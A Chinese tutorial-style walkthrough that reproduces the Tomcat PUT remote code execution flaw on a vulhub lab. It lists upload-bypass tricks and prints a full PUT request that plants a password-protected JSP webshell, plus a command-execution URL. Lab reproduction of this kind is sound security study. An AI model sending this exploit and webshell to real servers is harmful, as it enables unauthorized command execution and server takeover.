漏洞概述:
• 如果Tomcat开启了PUT方法(默认关闭,有点鸡肋,但是有些页面需要PUT,无法关闭),则有可能存在远程命令执行漏洞,攻击者可以利用PUT方法上传jsp文件,从而造成远程命令执行,getshell等。
漏洞版本:
• 7.0.0~7.0.79
漏洞搭建:
• 利用vulhub漏洞平台(简单粗暴,一键生成漏洞!)进行快速搭建,cd 到tomcat目录,然后docker-compose up -d
• 如能成功进入ip:8080就表示搭建成功,(靶机为8.5.19请忽视,漏洞存在7.0.0~7.0.79),漏洞走起!
漏洞复现:
先来look一波上传绕过的姿势:
第一个:/ ,由于Tomcat存在去掉最后的 / 的特性,此方法影响所有的Apache Tomcat 版本
第二个姿势:NTFS文件系统::$DATA特性绕过(文件上传也可以尝试)
第三个为: . 或%20
了解完三种绕过方式,我们就挑第一种来做个演示吧。
还是得来了解一下漏洞为什么存在的原理:
参考:
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:
![](https://i-blog.csdnimg.cn/blog_migrate/6b088d1ff845492727f3f443569297b5.png)
既然如此,我们可以用exp来验证一下是否存在漏洞。
PUT /222.jsp/ HTTP/1.1
Host: yourip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 664
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
这里对exp做一下简单解读,以put方式写入222.jsp,jsp名称是你自己自定义的一个名字,什么都行,然后就是你的ip地址要对应上,Content-Length: 664以下的代码其实就是写入222.jsp的代码,待会我们可以通过执行222.jsp实现操作。
看到返回响应码201,说明上传成功了
构造一个payload看看是否真的能够执行
Yourip:8080/222.jsp?pwd=023&cmd=whoami
既然已经验证完能够上传,那让我们上传个jsp一句话木马获取权限。这里我用的是哥斯拉生成的一句话木马。
写入的地方就是Content-Length: 664以下的地方,在那里插shell。
然后用哥斯拉链接看看
也算是成功打下这个靶场。